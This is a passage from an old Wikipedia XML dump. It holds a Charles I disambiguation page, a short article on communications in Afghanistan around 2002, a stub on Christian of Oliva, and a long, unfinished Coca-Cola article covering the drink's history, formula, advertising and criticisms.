        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>Robot-assisted disambiguation: Charles V</comment>
      <text xml:space="preserve">The name '''Charles I''' is used to refer to numerous persons in history:

* Kings:
** [[Charles I of England]], [[Scotland]], and [[Ireland]]
** [[Charles I of France]] (also known as [[Charlemagne]])
** [[Charles I of Spain]] (also known as [[Charles V, Holy Roman Emperor]] of the [[German Empire]])
** [[Charles I of Romania]]
** [[Charles I of Sicily]]
** [[Charles I of Portugal]]
** [[Charles I of Hungary]]
** [[Charles I, Holy Roman Emperor]] ([[Charlemagne]])
* Other:
** [[Charles I, Duke of Bourbon]]
** [[Charles I, Duke of Lorraine]]
** [[Karl of Austria|Charles I, Emperor of Austria]] (also known as [[Charles IV of Hungary|Charles IV]], [[King of Hungary]])
{{disambig}}

[[cs:Karel I. (rozcestník)]]
[[eo:Karolo la 1-a]]
[[es:Carlos I]]
[[it:Carlo I]]
[[ja:&amp;#12471;&amp;#12515;&amp;#12523;&amp;#12523;1&amp;#19990;]]
[[nl:Karel I]]
[[nn:Karl I]]
[[zh:&amp;#26597;&amp;#29702;&amp;#19968;&amp;#19990;]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Afghanistan</title>
    <id>6684</id>
    <revision>
      <id>41433683</id>
      <timestamp>2006-02-27T07:36:32Z</timestamp>
      <contributor>
        <ip>205.250.158.209</ip>
      </contributor>
      <comment>/* [[Internet]] */</comment>
      <text xml:space="preserve">The following article is about '''Communications in Afghanistan'''.

==[[Telephone]]==
There is one phone line for approximately every 100 people, leaving a total of 33,100 as of [[2002]].  Mobile communications are improving though, because of the introduction of two wireless carriers into this developing country.  There are approximately 15,000 [[Cellular phone|cellular lines]] as of [[2002]].  The international calling code for Afghanistan is +93.  There are five [[VSAT|VSAT's]] installed in Afghanistan, providing international and domestic voice and data connectivity.

==[[Television]]==
Televisions are somewhat popular however, as there are approximately 100,000 televisions installed in Afghanistan as of [[1999]], with at least 10 television broadcast stations.  

==[[Radio]]==
There are 23 [[FM|FM stations]] broadcasting, 21 [[mediumwave|mediumwave stations]], and 1 [[shortwave|shortwave staion]].

==[[Internet]]==
There are approximately 1,000 internet users in Afghanistan as of [[2002]].  Internet access is growing through [[Internet cafe|internet cafes]] as well as public &quot;telekiosks&quot; in [[Kabul]] that are part of a nationwide network proposed by the Transitional Authority for internet access.  The country code for Afghanistan is &quot;[[.af]]&quot;.

==References==
{{CIA_WFB_2005}}

==External links==
* [http://topics.developmentgateway.org/afghanistan/rc/ItemDetail.do~1003046 Afghanistan Telecom Sector Summary]
* [http://news.bbc.co.uk/2/hi/programmes/from_our_own_correspondent/4085955.stm  Difficulties of operating media organizations in Afghanistan] 
* Some [http://www.satsig.net/ivsat-asia.htm satellite communications] options for internet and voice access.

[[Category:Communications in Afghanistan| ]]
[[Category:Communications by country|Afghanistan]]

[[pt:Comunicações no Afeganistão]]
[[zh:&amp;#38463;&amp;#23500;&amp;#27735;&amp;#36890;&amp;#35759;]]</text>
    </revision>
  </page>
  <page>
    <title>Coca Cola</title>
    <id>6685</id>
    <revision>
      <id>15904808</id>
      <timestamp>2004-07-03T03:53:23Z</timestamp>
      <contributor>
        <username>Joseaperez</username>
        <id>19898</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Coca-Cola]]</text>
    </revision>
  </page>
  <page>
    <title>Christian of Oliva</title>
    <id>6689</id>
    <revision>
      <id>27402831</id>
      <timestamp>2005-11-05T00:33:13Z</timestamp>
      <contributor>
        <username>Aecis</username>
        <id>91397</id>
      </contributor>
      <comment>{{bishop-stub}}</comment>
      <text xml:space="preserve">'''Christian of Oliva''' was the first [[bishop]] of [[Prussia (Baltic)|Prussia]]. He was a [[Cistercian]] [[monk]] of the [[Abbey|monastery]] of [[Oliwa]] near [[Gdańsk]] at the [[Baltic Sea]], which was founded in [[1178]]. 

== External links ==

* [http://www.newadvent.org/cathen/03704a.htm Article in Catholic Encyclopedia at newadvent.org]

{{bishop-stub}}

[[Category:Cistercians]]
[[Category:Roman Catholic bishops]]</text>
    </revision>
  </page>
  <page>
    <title>Coca-Cola</title>
    <id>6690</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42111724</id>
      <timestamp>2006-03-03T22:19:38Z</timestamp>
      <contributor>
        <username>Kingdom Wealthy</username>
        <id>1025178</id>
      </contributor>
      <text xml:space="preserve">{{featured article}}
[[Image:CocaCola.gif|right|150px|The official Coca-Cola logo]]

'''Coca-Cola''' is a [[carbonation|carbonated]] [[cola]] [[soft drink]], produced by the [[The Coca-Cola Company]] ([[NYSE]]:KO) of Atlanta, GA. The beverage is widely referred to as '''Coke''', a [[nickname]] eventually trademarked by the company. Coke is one of the world's most recognizable and widely sold commercial [[brand]]s. 

Originally intended as a [[patent medicine]] when it was invented in the late 19th century, Coca-Cola was acquired by the businessman [[Asa Griggs Candler]], whose shrewd marketing tactics led Coke to its world-wide soft drink market dominance during the twentieth century. Though beset periodically by critiques of its health effects and by allegations of wrongdoing by the company, Coca-Cola has remained an internationally popular soft drink.

==History==

===Early years===
[[Image:World-of-coca-cola.jpg|thumb|left|The [[Las Vegas]] ''World of Coca-Cola'' museum in 2000]]

[[Columbus, Georgia]] druggist [[John Pemberton|John Stith Pemberton]] invented a [[cocawine]] called [[Pemberton's French Wine Coca]] in [[1884]]. He was inspired by the formidable success of French [[Angelo Mariani]]'s cocawine, [[Vin Mariani]].

The following year, when [[Atlanta]] and [[Fulton County]] passed [[Prohibition]] legislation, Pemberton began to develop a non-alchoholic version of the French Wine Cola. He named it Coca-Cola, because it included the [[stimulant]] [[coca]] [[leaves]] from [[South America]] and was [[Flavouring|flavored]] using [[kola nut|kola nuts]], a source of [[caffeine]]. Pemberton called for 5 ounces of coca leaf per gallon of [[syrup]]. The first sales were made at Jacob's [[Pharmacy]] in [[Atlanta, Georgia|Atlanta]], [[Georgia (U.S. state)|Georgia]], on [[May 8]], [[1886]], and for the first eight months only an average of nine drinks were sold each day. Pemberton ran the first [[advertisement]] for the beverage on [[May 29]] that year in the ''[[Atlanta Journal]]''.

Coca-Cola was initially sold as a patent medicine for five [[Cent (currency)|cent]]s a glass. Although Pemberton intended it to be mixed with still water, it was sold at [[soda fountain]]s, which were popular in the [[United States]] at the time thanks to a belief that [[carbonated water]] was good for the health. Pemberton claimed Coca-Cola cured myriad [[disease]]s, including [[morphine]] [[addiction]], [[dyspepsia]], [[neurasthenia]], [[headache]], and [[impotence]].

In [[1887]], while suffering from an ongoing addiction to [[morphine]], Pemberton sold a stake in his company to [[Asa Griggs Candler]], who incorporated it as the [[Coca Cola Corporation]] in [[1888]]. In the same year, Pemberton sold the rights a second time to three more businessmen: [[J.C. Mayfield]], [[A.O. Murphey]], and [[E.H. Bloodworth]]. Meanwhile, Pemberton's alcoholic son [[Charley Pemberton]] began selling his own version of the product. Three versions of Coca-Cola — sold by three separate businesses — were on the market. {{ref|Pendergrast}}

In an attempt to clarify the situation, John Pemberton declared that the ''name'' Coca-Cola belonged to Charley, but the other two manufacturers could continue to use the ''formula''. So, in the summer of 1888, Candler sold his beverage under the names [[Yum Yum]] and Koke. After both failed to catch on, Candler set out to establish a legal claim to Coca-Cola in late 1888, in order to force his two competitors out of the business. Candler purchased exclusive rights to the formula from John Pemberton, [[Margaret Dozier]], and [[Woolfolk Walker]]. However, in 1914, Dozier came forward to claim her signature on the bill of sale had been forged, and subsequent analysis has indicated John Pemberton's signature was most likely a forgery as well.{{ref|Pendergrast2}}

In 1892, Candler incorporated a second company, [[The Coca-Cola Company|''The'' Coca-Cola Company]] (the current corporation), and in 1910 Candler had the earliest records of the company burned, further obscuring its legal origins. Regardless, Candler began aggressively marketing the product — the efficiency of this concerted advertising campaign would not be realized until much later.

[[Image:Cocacola-1917.png|thumb|right|100px|Coca-Cola ad, 1917]]
Coca-Cola was sold in [[bottle]]s for the first time on [[March 12]], [[1894]], and [[aluminum can|cans]] of Coke first appeared in 1955. The first bottling of Coca-Cola occurred in [[Vicksburg, Mississippi|Vicksburg]], [[Mississippi]], at the Biedenharn Candy Company in 1891. Its proprietor was Joseph A. Biedenharn. The original bottles were Biedenharn bottles, very different from the much later hobble-skirt design that is now so familiar.  Asa Candler was tentative about bottling the drink, but the two entrepreneurs who proposed the idea were so persuasive that Candler signed a contract giving them control of the procedure. However, the loosely termed contract proved to be problematic for the company for decades to come. Legal matters were not helped by the decision of the bottlers to subcontract to other companies — in effect, becoming parent bottlers. This meant that Coca-Cola was originally sold in a wide variety of bottles, until the introduction of the iconic, standardized Coke bottle in [[1916]].

&lt;!--What about worldwide sales? Coke's many lawsuits against rivals in the early 20th century? Overtaking market leader Moxie? Emergence of Pepsi? Role in WWI? Chandler's marketing insights? Ad campaings? The first dual trademark? This section needs to be expanded...--&gt;

===World War II===

When the United States entered World War II, The Coca-Cola Company began providing free drinks for soldiers of the [[United States Army]]. The United States Army permitted Coca-Cola employees to enter the [[front line]]s as &quot;Technical Officers&quot; where they operated Coke's system of providing refreshments for soldiers, who welcomed the beverage as a reminder of home. 

Coca-Cola set up bottling plants in several locations overseas to assure the drink's availability to soldiers, setting the stage for the company's post-war overseas expansion. The popularity of the drink exploded as American soldiers returned home from the war with a taste for the drink.  The beverage had become synonymous with the American way of life.

Before the United States entered [[World War II]], the difficulty of shipping Coca-Cola concentrate to Germany and its occupied states, due to the Allied blockades, led to the creation of a new drink by a Coca-Cola employee, [[Fanta]]. In this fashion Coca-Cola was able to continue trading in Nazi Germany (as did automobile manufacturer [[Ford]]) long after other US companies had relocated on moral grounds.

For more corporate history, see [[The Coca-Cola Company#History|The history of the Coca-Cola Company]].

[[Image:Newcoke.jpg|thumb|200px|right|[[New Coke]] stirred up a controversy when it replaced the original Coca-Cola in [[1985]]. The original formula was reinstated as Coca-Cola Classic within a few months of the new Coke's introduction into the market.]]

===New Coke to the present===
In 1985, Coca-Cola, amid much publicity, changed the [[Coca-Cola formula|formula]] of the drink. Some authorities believe that [[New Coke]], as the reformulated drink came to be known, was invented specifically to respond to its commercial competitor, Pepsi. Numerous [[blind taste test]]s suggested that more consumers preferred the taste of Pepsi (which is believed to have more [[lemon]] oil, less [[orange (fruit)|orange]] oil, and uses [[vanillin]] rather than [[vanilla]]) to Coke. In taste tests, drinkers were more likely to respond positively to sweeter drinks, and Pepsi had the advantage over Coke because it is much sweeter. Coca-Cola tinkered with the formula and created the new Coke. Follow-up taste tests revealed that most consumers preferred the taste of New Coke to both Coke and Pepsi. The reformulation was led by the then-[[CEO]] of the company, [[Roberto Goizueta]], and the president Don Keough.

It is unclear what part long-time company president [[Robert W. Woodruff]] played in the reformulation. Goizueta claims that Woodruff endorsed it a few months before his death in 1985; others have pointed out that, as the two men were alone when the matter was discussed, Goizueta might have misinterpreted the wishes of the dying Woodruff, who could speak only in monosyllables. It has also been alleged that Woodruff might not have been able to understand what Goizueta was telling him.

The [http://members.lycos.co.uk/thomassheils/newcoke.htm commercial failure of New Coke] therefore came as [http://ask.yahoo.com/20060221.html a grievous blow] to the management of the Coca-Cola Company. It is possible that customers would not have noticed the change if it had been made secretly or gradually, and thus brand loyalty could have been maintained. Coca-Cola management was unprepared, however, for the nostalgic sentiments the drink aroused in the American public; some compared changing the Coke formula to rewriting the [[Constitution of the United States|American Constitution]].

The new Coca-Cola formula subsequently caused a public [[backlash]]. [[Gay Mullins]], from [[Seattle, Washington]], founded the [[Old Cola Drinkers of America]] organization, which attempted to sue the company, and lobbied for the formula of Old Coke to be released into the [[public domain]]. This and other protests caused the company to return to the [[Coca-Cola formula|old formula]] under the name Coca-Cola Classic on [[July 10]], [[1985]]. The company was later accused of performing this ''volte-face'' as an elaborate ruse to introduce a new product while reviving interest in the original. Donald Keough, company president at the time, responded to the accusation by declaring: &quot;Some critics will say Coca-Cola made a marketing mistake. Some cynics will say that we planned the whole thing. The truth is we are not that dumb, and we are not that smart.&quot;

The Coca-Cola Company is the world's largest consumer of natural vanilla extract. When New Coke was introduced in 1985, this had a severe impact on the economy of [[Madagascar]], a prime vanilla exporter, since New Coke used [[vanillin]], a less-expensive synthetic substitute. Purchases of vanilla more than halved during this period. But the flop of [[New Coke]] brought a recovery.

[[Image:Lg new coke logo.jpg|thumb|The Coca-Cola Classic logo, used from [[2003]]-present.]]
Meanwhile, the market share for New Coke had dwindled to only 3% by 1986. In 1992 the company renamed the product &quot;Coke II&quot; (not to be confused with &quot;[[Coca-Cola C2|Coke C2]]&quot;, a reduced-[[sugar]] cola launched by Coca-Cola in 2004). However, sales falloff caused a severe cutback in distribution. By 1998, it was sold in only a few places in the Midwestern U.S.

==Coca-Cola formula==
{{main|Coca-Cola formula}}

As a [[publicity]] [[marketing strategy]] started by [[Robert W. Woodruff]], the company presents the formula of Coca-Cola as one of the most closely held [[trade secret]]s in modern business that only a few employees know or have access to. In particular, the secret ingredient &quot;7X&quot; has long been touted an integral component of Coca Cola's formula though it has never been established what, if anything, the &quot;X&quot; refers to-- although it has been stated that Coca Cola had employees mix the drink by numbers assigned to specific ingredients rather than by name, to avoid the possibility of employees reverse engineering the recipe. However, experienced [[perfumery | perfumers]] and [[food science | food scientists]] - today aided by modern [[analytical chemistry | analytical]] methods - can easily identify the composition of food products, a fact that is further supported by the many cola [[flavoring]]s and competing [[soft drink]]s like [[Pepsi]].

==Franchised production model==
The actual production and distribution of Coca-Cola follows a [[franchising]] model. The Coca-Cola Company only produces a syrup concentrate, which it sells to various [[Bottling company|bottlers]] throughout the world who hold Coca-Cola franchises for one or more geographical areas. The bottlers produce the final drink by mixing the syrup with filtered water and [[sugar]] (or [[Sugar substitute|artificial sweeteners]]) and fill it into cans and bottles, which the bottlers then sell and distribute to retail stores, vending machines, restaurants and food service distributors. The bottlers are normally also responsible for all advertisement and other sales initiatives within their areas.

The Coca-Cola Company owns minority shares in some of its largest franchisees, like [[Coca-Cola Enterprises]] and [[Coca-Cola FEMSA]], but almost half of the volume sold in the world is produced by fully independent bottlers.

As sugar and sweeteners are added by the bottler, the sweetness of the drink is said to differ in various parts of the world, in order to cater for local taste.

==Coca-Cola design==
[[Image:Cocacola bottle.jpg|thumb|The first version of the famous bottle went into production in 1916.]]
The famous Coca-Cola [[logotype]] is said to have largely been created by John Pemberton's business partner, [[Frank Mason Robinson]], in 1885. It was Robinson who came up with the name, and he also chose the logo’s distinctive cursive script. The typeface used, known as Spencerian script, was developed in the mid 19th century and was the dominant form of formal handwriting in the United States during that period.

The equally famous Coca-Cola bottle, called the &quot;Contour bottle&quot; within the company, was created in 1915 by a [[Sweden|Swedish]] former [[glassblower]], Alexander Samuelsson, who had emigrated to the US in the 1880's and was employed as a manager at the Root Glass Company in [[Terre Haute, Indiana]], one of Coca-Cola's bottle suppliers. According to legend, having received the request for a truly distinctive bottle from bottler Benjamin F. Thomas, Samuelsson decided to see if the shapes of the two ingredients behind the product name (coca and kola nuts) could serve as inspiration. He looked in [[Encyclopædia Britannica]] and was quickly forced to dismiss the idea. However, he continued to turn the pages and eventually he saw a picture of a [[cacao]] tree seed pod, with its bulging shape and distinctive grooves.

In November 1915, Root Glass Company patented the bottle, and in 1916 it went into production. It is said that the owner of Root Glass became one of Indiana's wealthiest men because of the bottle, while Samuelsson didn't get anything more than his usual salary.

==Coca-Cola's advertising==
[[Image:Cokebottles.jpg|thumb|300px|right|Specially designed [[Christmas]] labels featuring [[Santa Claus]] give a seasonal twist to these '''Coca-Cola''' bottles. The characteristic shape of the bottles is [[trademark]]ed. It was designed to be universally recognizable, even when broken.]]
Coca-Cola's advertising has had a significant impact on American culture, and is frequently credited with the &quot;invention&quot; of the modern image of [[Santa Claus]] as an old man in red-and-white garments; however, while the company did in fact start promoting this image in the 1930s in its winter advertising campaigns, it was already common before that.{{ref|Claus}} In the 1970s, a song from a Coca-Cola commercial called &quot;[[I'd Like to Teach the World to Sing]]&quot;, produced by [[Roquel Billy Davis|Billy Davis]], became a popular hit single, but there is no evidence that it did anything to increase sales of the soft drink. 
   
Coke's advertising has been rather pervasive, as one of Woodruff's stated goals was to ensure that everyone on Earth drank Coca-Cola as their preferred beverage. Advertising for Coke is now almost ubiquitous, especially in southern areas of [[North America]], such as [[Atlanta]], where Coke was invented. 

Coca-Cola has gone through a number of different advertising slogans in its long history, including &quot;The pause that refreshes&quot;, &quot;I'd like to buy the world a Coke&quot;, and &quot;Coke is it&quot; (see [[Coca-Cola slogans]]).

====Recent history====
During the [[1980s]], [[Pepsi-Cola]] ran a series of television advertisements showing people participating in taste tests in which they expressed a preference for Pepsi over Coke. Coca-Cola ran ads to combat Pepsi's ads in an incident sometimes referred to as the ''[[cola wars]]''; one of Coke's ads compared the so-called [[Pepsi challenge]] to two [[chimpanzee]]s deciding which [[tennis ball]] was furrier. Thereafter, Coca-Cola regained its leadership in the market.

In an attempt to broaden its portfolio, Coca-Cola purchased [[Columbia Pictures]] in 1982. Columbia provided subtle publicity through Coke product placements in many of its films while under Coke's ownership. However, after a few early successes, Columbia began to under-perform, and was dropped by the company in [[1989]].

Coca-Cola has a policy of avoiding using children younger than the age of 12 in any of its advertising as a result of a lawsuit from the beginning of the 20th century that alleged that Coke's [[caffeine]] content was dangerous to children.{{citationneeded}} However, in recent times, this has not stopped the company from targeting young consumers.{{citationneeded}} In addition, it has not been disclosed in exact terms how safe Coke is for consumption by young children (or pregnant mothers).{{citationneeded}}

====Sport event sponsorships====
Coca-Cola was the first-ever [[sponsor]] of the Olympic games, at the 1928 games in [[Amsterdam]] and has been an Olympics sponsor ever since.  This corporate sponsorship included the [[1996 Summer Olympics]] hosted in [[Atlanta]], which allowed Coca-Cola to spotlight its hometown.  Since 1978 Coca-Cola is the main sponsor of [[ FIFA ]] and has sponsored each [[FIFA World Cup]] and other competitions organised by FIFA. In fact, one of the [[FIFA]] tournament trophy: [[FIFA World Youth Championship]] from [[Tunisia]] in 1977 to [[Malaysia ]] in 1997  was called &quot;FIFA - Coca Cola Cup&quot;. In addition, Coca Cola sponsors the annual '''Coca-Cola 600''' for the NASCAR Nextel Cup auto racing series at Lowe's Motor Speedway in Charlotte, North Carolina.  Coca-Cola has a long history of sports marketing relationships, which over the years have included Major League Baseball, the National Football League, National Basketball Association and the National Hockey League, as well as with many teams within those leagues. They have been a long-time sponsor of the [[Australian Football League]], at one stage holding naming rights to the Premiership season. They also sponsor the [[International Rules football]] test game played between [[Australia]] and [[Ireland]] every year as well as the [[Football League]] in [[England]].

==Criticisms==
[[Image:Camel-3.jpg|thumb|left|A camel drinks a Coke.]]

====Urban Legends and unusual uses====
The numerous urban legends about Coca-Cola have led the [[Urban Legends Reference Pages]] to devote a whole section of their site to &quot;[http://www.snopes.com/cokelore/ Cokelore]&quot;.  One false legend claims that Coke was once green, or was accidentally carbonated when a clerk squirted syrup into the wrong glass.

Coca-Cola has been the target of [[urban legend|urban legends]] decrying the drink for its supposedly copious amounts of [[acid]] (its [[pH]] value of 2.5 is midway between [[vinegar]] and [[gastric acid]]), or the &quot;life-threatening&quot; effects of its [[carbonated water]]. These urban legends usually take the form of &quot;fun facts&quot; — for example, &quot;[[highway patrol|highway trooper]]s use Coke to clean blood from highways after accidents,&quot; &quot;somebody once died in a Coke-drinking competition,&quot; or &quot;Coke can dissolve a tooth overnight.&quot; All of these claims are false. (While Highway Troopers do not use Coca-Cola for this purpose, it was proven on the television program [[MythBusters]] that Coca-Cola can be used quite well as a blood cleaning agent.)  ''For more on acidity and health concerns, see the [[#Acidity|Acidity]] subsection below.''

One unusual use for Coke is as a rust-control substance—the [[phosphoric acid]] in coke converts [[iron oxide]] to [[iron phosphate]], and as such can be used as an initial treatment for corroded iron and steel objects being renovated, etc. The acid can be used to [[anodize]] [[titanium]] according to various websites.{{ref|Seeley}} 

Contrary to popular belief, the coca leaf extract [[cocaine]] was never added to Coca-Cola, per se. Because cocaine is naturally present in untreated coca leaves, small amounts of cocaine were also present in the beverage.  Today's Coca-Cola uses &quot;spent&quot; coca leaves, those that have been through a cocaine extraction process, to flavor the beverage.  Since this process cannot extract the cocaine [[alkaloids]] at a molecular level, the drink still contains trace amounts of the stimulant{{ref|rielly}}.

====Adverse long-term [[health effects]]====
While many [[nutrition|nutritionists]] believe that &quot;soft drinks and other calorie-rich, nutrient-poor food can fit into a good diet&quot;{{fact}}, it is generally agreed that Coca-Cola and other soft drinks can be harmful if consumed to excess, particularly to young children whose soda consumption competes with, rather than complements, a balanced diet.{{ref|candy}} Studies have shown that regular soft drink users have a lower intake of [[calcium]] (which can contribute to [[osteoporosis]]), [[magnesium]], [[ascorbic acid]], [[riboflavin]], and [[vitamin A]].{{ref|Calcium}}

The drink has also aroused criticism for its use of [[caffeine]].{{ref|Caffeine}}  The soft drink industry dismisses many of these criticisms as urban myths.{{ref|Rumors}}
There are some reports that Coca-Cola is addictive, although the veracity of these reports has yet to be established.{{fact}}

=====Acidity=====
Evidence has been presented in numerous cases against Coca-Cola since the 1920s that decisively proves that the drink is not more harmful than comparable soft drinks, or indeed acidic fruit juices like apple juice. Under normal conditions, its acidity causes no immediate harm.{{ref|myths}} 

A 2005 experiment by the [[American Academy of Pediatric Dentistry]] found the [[pH]] of the mouth to be 5.5, 5.6, and 5.7 in 5, 10, and 20 minutes (respectively) after swishing 15 mL in the mouth for one minute. None of those are in the critical range to damage [[tooth enamel]]. [[Diet Coke]] was found to be slightly less acidic. [http://www.aapd.org/searcharticles/article.asp?ARTICLE_ID=326]

The impartiality of this experiment can be reasonably questioned. In 2003 the American Academy of Pediatric Dentistry took a grant of $1m dollars from Coca-Cola to fund educational research.  
[http://www.corpwatch.org/article.php?id=5770]

The drink has also aroused criticism for its use of phosphoric acid{{ref|Bone}}. For more, see [[Phosphoric acid#Biological_effects_on_bone_calcium|phosphoric acid in food]].

=====High Fructose Corn Syrup=====
Since the late-[[1980s]] in the U.S., Coke has been made with [[high fructose corn syrup]] instead of sugar glucose/fructose, except [[Kosher for Passover]] Coke which can't be made with high fructose corn syrup.  This was done largely due to the prices of sugar increasing during these times.  There are some groups who criticize this move to use high fructose corn syrup over sugar due to the fact that the corn in which the corn syrup is maintained may come from genetically altered plants.

====As a political and corporate symbol====
The Coca-Cola drink has a high degree of identification with the United States itself, being considered an &quot;American brand&quot; or to a small extent as representing America (compare [[Mickey Mouse]]).  The drink is also often a [[metonymy|metonym]] for the Coca-Cola Company.  The identification with the spread of American culture has led to the pun [http://www.google.com/search?safe=off&amp;q=%22coca-colonisation%22+OR+%22coca-colanisation%22+OR+%22coca-colonization%22+OR+%22coca-colanization%22 &quot;Coca-Colonisation&quot;].

As part of their 2005 &quot;Experience The Experience&quot; tour, art group [[monochrom]] created a [http://www.monochrom.at/experiences/coke.htm 'Brick Of Coke']: they put several gallons of Coca-Cola into a pot and boiled it down until the residue left behind could be molded into a brick. The performance and talk dealt with the sugar industry and other multinational corporation policies and Coca-Cola as a symbol of corporate power.

=====Middle East and U.S. foreign policy=====
Critics claim Coca-Cola is less popular in Arab countries due to disapproval of U.S. foreign policy in Israel and elsewhere.[http://www.inminds.co.uk/boycott-coca-cola.html]  They additionally cite the example of [[Mecca Cola]] which has become a hit in the past few years.  However, these claims conflict with marketshare data.  In the Middle East, the only region in the world where Coca-Cola is not the number one soda drink, Coca-Cola nonetheless holds almost 25% marketshare and had double-digit growth in [[2003]].[http://www.ameinfo.com/37492.html]

=====Sudan Sanctions=====
The Sudan office was inaugurated by G. N. Ghines back in 1995, when he assumed the position of Country Manager, till 1997. In Oct. 6th, 1997 the former Secretary of State Ms Albright announced the sanctions that would take place against Sudan, effective Nov 6th, 1997. Mr. Ghines had to close down office and move to Yemen where he launched Coca-Cola for the second time.{{citationneeded}}

=====India and Ingredients=====
Critics claim Coca-Cola is less popular in other places such as India, due to suspicions regarding the health standards of the drink. However, these claims conflict with marketshare data.  As an example, in 2004 Coca-Cola India's market share was 60.9%.[http://economictimes.indiatimes.com/articleshow/1191706.cms] 

The criticisms of Coca-Cola originating in India centre around the issue of water. One criticism is the level of pesticides and toxins in aerated water produced by the Coca-Cola Company and the second is the unsustainable nature of Coca-Cola's water extraction (see [[Mark Thomas]]). It takes 5 litres of water to produce 1 litre of Coca-Cola and, as such, factories in India have extracted water from aquifers at an unsustainable rate, damaging the local water supply and forcing local farmers to relocate.

In [[2003]], the Centre for Science and Environment (CSE), a [[non-governmental organisation]] in [[New Dehli]], said aerated waters produced by soft drinks manufacturers in India, including multinational giants Pepsico and Coca-Cola, contained toxins including [[lindane]], [[DDT]], [[malathion]] and [[chlorpyrifos]] — [[pesticides]] that can contribute to cancer and a breakdown of the immune system. Tested products included Coke, Pepsi, [[Seven Up]], [[Mirinda]], [[Fanta]], [[Thums Up]], [[Limca]], [[Sprite (soft drink)|Sprite]]

CSE found that the Indian produced Pepsi's soft drink products had 36 times the level of pesticide residues permitted under [[European Union]] regulations; Coca Cola's 30 times. CSE said it had tested the same products in the US and found no such residues.  

Coca Cola and PepsiCo angrily denied allegations that their products manufactured in India contained toxin levels far above the norms permitted in the developed world.  But an Indian parliamentary committee in 2004 backed up CSE's findings and a government-appointed committee is now trying to develop the world's first pesticide standards for soft drinks. Coke and PepsiCo oppose the move, arguing that lab tests aren't reliable enough to detect minute traces of pesticides in complex drinks like soda. 

Coke's David Cox, Coke's Hong Kong-based communications director for Asia, accuses Sunita Narain, CSE's director, of &quot;brandjacking,&quot; using Coke's brand name to draw attention to her campaign against pesticides. Ms. Narain says CSE's study of pesticide residues in soft drinks was a natural follow-up to a previous study it did on bottled water.[http://www.indiaresource.org/news/2005/1062.html] 

In [[2004]], Coca-Cola was described as being experimentally used as a pesticide by [[India]] farmers in [[Andhra Pradesh]].{{ref|grow}} However, it was later revealed to be a publicity stunt by local activists and farmers.[http://www.indiaresource.org/news/2005/1062.html]

Coca-Cola had registered a 15 percent drop in sales after the pesticide allegations were made in 2003.  As of 2005, Coke and Pepsi together hold 95% market share of soft-drink sales in India.[http://www.indiaresource.org/news/2005/1062.html]

''See [[#Business practices]] section for environmental impact discussions.''

=====Colombia and International Boycott=====
{{wikinews|Colombian unions reiterate their accusations against Coca Cola}}
In Summer [[2003]], Colombian trade Union SINALTRAINAL called for an international boycott of Coca-Cola products because of intimidation, kidnapping and murder of workers in Coca Cola bottling plants by paramilitaries who were allegedly acting on behalf of the Coca Cola Company in order to drive down wages in Colombia. [http://www.straightdope.com/columns/051104.html] SINALTRAINAL's boycott followed the removal of the Coca-Cola Company from SINALTRAINAL's lawsuit, see the [[#Business practices]] section.''

===Business practices===
''Main article: [[Coca-Cola Company#Criticisms|Coca-Cola Company: Criticisms]]''

As the largest seller of soft drinks in the world, including its flagship Coca-Cola drink, the Coca-Cola Company has been criticized for some of its corporate actions, from issues such as [[monopolistic]] practices, reliance on low [[health]] standards, [[racist]] employment practices, the privatization of water supplies, to the abuse of workers' rights, including the [[assassination]] of [[trade union|union]] members. There are many criticisms of both the company's products and trade practices.
*A number of universities in [[Canada]], the [[United Kingdom|UK]], the [[United States|U.S.]] and [[Ireland]] boycott Coca-Cola products for concerns over [[human rights abuse]]s.  ''For details on the boycotts, see the [[Coca-Cola Company]] page.

*In [[India]], the corporation has provoked a number of [[boycott]]s and [[protest]]s as a result of its perceived low standards of hygiene and adverse impact on the [[natural environment|environment]]. [http://soundingcircle.com/newslog2.php/__show_article/_a000195-000728.htm]

*In [[Colombia]], the company has been accused by Colombian trade Union SINALTRAINAL of [[human rights]] violations.  Specifically,  The [[Coca-Cola Company]] and its bottlers are accused of directing or tolerating the actions of paramilitaries against their workers in order to prevent them from setting up trade unions, resulting in some of the leaders of said attempted trade unions being murdered.  With the help of the United Steelworkers of America, SINALTRAINAL filed a lawsuit in [[2001]].  In April [[2003]] District Judge Jose E Martinez in Miami excluded The Coca-Cola Company and its Colombian unit because its bottling agreement did not give it &quot;explicit control&quot; over labour issues in Colombia; in short, the [[Coca-Cola Company]] was dismissed from the case.[http://news.bbc.co.uk/1/hi/business/2909141.stm]  The lawsuit is continuing against the bottlers, [[Panamco]] and Colombian bottler Bebidas y Alimentos. [http://news.bbc.co.uk/1/hi/business/2909141.stm]) ''(For information on SINATRAINAL's boycott following the removal, see the [[#As a political and corporate symbol]] section.)''
 
''Main article: [[Coca-Cola Company#Praises|Coca-Cola Company: Praises]]''

Coca Cola's positive business contributions following some of these criticisms include:

* Promoting Diversity: Awards including &quot;50 Best Companies for Minorities&quot; by Fortune Magazine in 2004 and &quot;&quot;50 Best Companies for Latinas to Work for in the U.S.&quot; by Latina Style in 2004.  Coca-Cola offers domestic partner health benefits and its non-discrimination policy includes sexual orientation.
* HIV / AIDS in Africa: Coca-Cola will spend up to $6 million per year to fund HIV/AIDS treatment for Africans who work within the company's bottling system which employs 58,000 people in Africa; Coca Cola Africa has a $50 million budget to support HIV/AIDS programmes. 
* Charitable Giving: The Coca-Cola Company and its bottling partners shipped more than 30 million donated 8-oz. servings to Hurricane Katrina Evacuees, donated $10 million to tsunami relief efforts in Asia and after the September 11 terrorist attacks committed to a $12 million financial contribution to disaster relief efforts.

==International appeal==
